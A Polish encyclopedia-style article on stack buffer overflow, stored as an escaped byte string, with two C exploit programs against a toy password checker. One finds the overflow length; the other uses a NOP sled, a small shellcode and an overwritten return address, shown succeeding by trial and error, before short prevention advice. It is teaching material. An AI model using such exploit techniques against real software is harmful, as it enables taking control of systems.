b'\n_START_ARTICLE_\nPrzepe\xc5\x82nienie bufora\n_START_SECTION_\nSzczeg\xc3\xb3\xc5\x82y techniczne\n_START_PARAGRAPH_\nZe wzgl\xc4\x99du na spos\xc3\xb3b budowy stosu na wi\xc4\x99kszo\xc5\x9bci platform teleinformatycznych za podr\xc4\x99cznymi buforami danej funkcji cz\xc4\x99sto znajduje si\xc4\x99 adres powrotny funkcji nadrz\xc4\x99dnej, od\xc5\x82o\xc5\xbcony na stos przez wywo\xc5\x82anie instrukcji procesora call. Po nadpisaniu warto\xc5\x9bci na stosie odpowiednio dobranym adresem wskazuj\xc4\x85cym na specjalnie spreparowany kod, program po zako\xc5\x84czeniu aktualnie wykonywanej funkcji zamiast powr\xc3\xb3ci\xc4\x87 do funkcji nadrz\xc4\x99dnej, wykonuje specjalnie przygotowany przez hakera kod._NEWLINE_Tak\xc5\xbce w przypadku, gdy bezpo\xc5\x9brednie nadpisanie adresu powrotnego nie jest mo\xc5\xbcliwe (np. ze wzgl\xc4\x99du na to, \xc5\xbce podatny na atak bufor znajduje si\xc4\x99 w oddzielnym regionie pami\xc4\x99ci), ataki typu buffer overflow mog\xc4\x85 prowadzi\xc4\x87 do przej\xc4\x99cia kontroli nad systemem przez nadpisanie istotnych parametr\xc3\xb3w wykorzystywanych przez program lub biblioteki standardowe.\n_START_SECTION_\nDziura\n_START_PARAGRAPH_\nDziura polega na tym, \xc5\xbce buf ma sta\xc5\x82\xc4\x85 wielko\xc5\x9b\xc4\x87 i nie sprawdza si\xc4\x99 d\xc5\x82ugo\xc5\x9bci danych, kt\xc3\xb3re do niego kopiujemy._NEWLINE_Najpierw musimy sprawdzi\xc4\x87, czy w og\xc3\xb3le wyst\xc4\x99puje taka dziura i je\xc5\x9bli tak, to ile danych potrzeba, \xc5\xbceby przepe\xc5\x82ni\xc4\x87 bufor._NEWLINE_./exploit1.c:_NEWLINE_#include <unistd.h>char arg[] ="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX""XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX""XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX""XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX""XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";int main(int argc, char **argv){_NEWLINE_  execl("./hello", "./hello", arg, NULL);_NEWLINE_  return 0;}_NEWLINE_$ ./exploit1_NEWLINE_Bad password_NEWLINE_Segmentation fault_NEWLINE_320 bajt\xc3\xb3w (5 linii razy 64 bajty) wystarczy\xc5\x82o. Mo\xc5\xbcemy teraz znale\xc5\xba\xc4\x87 dok\xc5\x82adn\xc4\x85 najmniejsz\xc4\x85 warto\xc5\x9b\xc4\x87, kt\xc3\xb3ra wystarcza. Jak si\xc4\x99 okazuje, potrzeba 256+12 bajt\xc3\xb3w - mniejsza warto\xc5\x9b\xc4\x87 nie powoduje b\xc5\x82\xc4\x99du. W rzeczywisto\xc5\x9bci kopiowany jest jeden bajt wi\xc4\x99cej - bajt o warto\xc5\x9bci 0 ko\xc5\x84cz\xc4\x85cy napis. Oznacza to, \xc5\xbce mi\xc4\x99dzy buforem buf a adresem powrotu (kt\xc3\xb3remu zwykle wystarczy nadpisa\xc4\x87 jeden bajt, \xc5\xbceby doprowadzi\xc4\x87 do katastrofy) znajduje si\xc4\x99 12 bajt\xc3\xb3w, czyli 3 warto\xc5\x9bci typu int lub wska\xc5\xbaniki. S\xc4\x85 to w naszym przypadku argc, argv i "tajny" argument funkcji main - envp.\n_START_SECTION_\nWykorzystanie\n_START_PARAGRAPH_\nMusimy umie\xc5\x9bci\xc4\x87 shellcode w buforze i nadpisa\xc4\x87 adres powrotu tak, \xc5\xbceby wskazywa\xc5\x82 na nasz shellcode. Poniewa\xc5\xbc znalezienie dok\xc5\x82adnego adresu wymaga wielu pr\xc3\xb3b, uzupe\xc5\x82niamy go du\xc5\xbc\xc4\x85 ilo\xc5\x9bci\xc4\x85 instrukcji NOP (0x90), tak \xc5\xbceby wska\xc5\xbanik m\xc3\xb3g\xc5\x82 wskazywa\xc4\x87 na dowolny z pocz\xc4\x85tkowych bajt\xc3\xb3w bufora._NEWLINE_Nie mamy zbyt du\xc5\xbcych ambicji w sprawie shellcodu - b\xc4\x99dzie on po prostu wychodzi\xc5\x82 z warto\xc5\x9bci\xc4\x85 0, odpowiadaj\xc4\x85cej dobremu has\xc5\x82u._NEWLINE_Poniewa\xc5\xbc nie wiemy, jaka dok\xc5\x82adnie jest lokalizacja bufora zawieraj\xc4\x85cego shellcode,_NEWLINE_jej adres (w odniesieniu do pocz\xc4\x85tku stosu, kt\xc3\xb3ry na Linuksie na i386 zwykle znajduje si\xc4\x99 pod 0xc0000000) podany jest w linii komend do naszego exploitu._NEWLINE_exploit2.c:_NEWLINE_#include <unistd.h>#include <stdlib.h>char arg[] ="\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90""\\x90\\x90\\x90\\x90\\x90""\\x31\\xc0"      // xor %eax, %eax"\\x40"          // inc %eax"\\x31\\xdb"      // xor %ebx, %ebx"\\xcd\\x80"      // int $0x80"\\xff\\xff\\xff\\xbf";int main(int argc, char **argv){_NEWLINE_  if (argc == 2)_NEWLINE_  *((int*)(&arg[256+12])) = 0xc0000000 - atoi (argv[1]);_NEWLINE__NEWLINE_  execl("./hello", "./hello", arg, NULL);_NEWLINE_  return 0;}_NEWLINE_Metod\xc4\x85 pr\xc3\xb3b i b\xc5\x82\xc4\x99d\xc3\xb3w (skaka\xc4\x87  mo\xc5\xbcna o ilo\xc5\x9b\xc4\x87 instrukcji NOP w shellcodzie):_NEWLINE_$ ./exploit2 1900_NEWLINE_Bad password_NEWLINE_Segmentation fault_NEWLINE_$ ./exploit2 2100_NEWLINE_Bad password_NEWLINE_Segmentation fault_NEWLINE_$ ./exploit2 2300_NEWLINE_Bad password_NEWLINE_$ echo $?_NEWLINE_0\n_START_SECTION_\nZapobieganie\n_START_PARAGRAPH_\nAby zapobiec tego typu atakom zawsze nale\xc5\xbcy bra\xc4\x87 pod uwag\xc4\x99 rozmiar przyjmowanych danych. Nale\xc5\xbcy unika\xc4\x87 funkcji, kt\xc3\xb3re go nie sprawdzaj\xc4\x85 (np. wyst\xc4\x99puj\xc4\x85ca w j\xc4\x99zyku C funkcja strcpy) u\xc5\xbcywaj\xc4\x85c ich bezpieczniejszych odpowiednik\xc3\xb3w (np. strncpy).'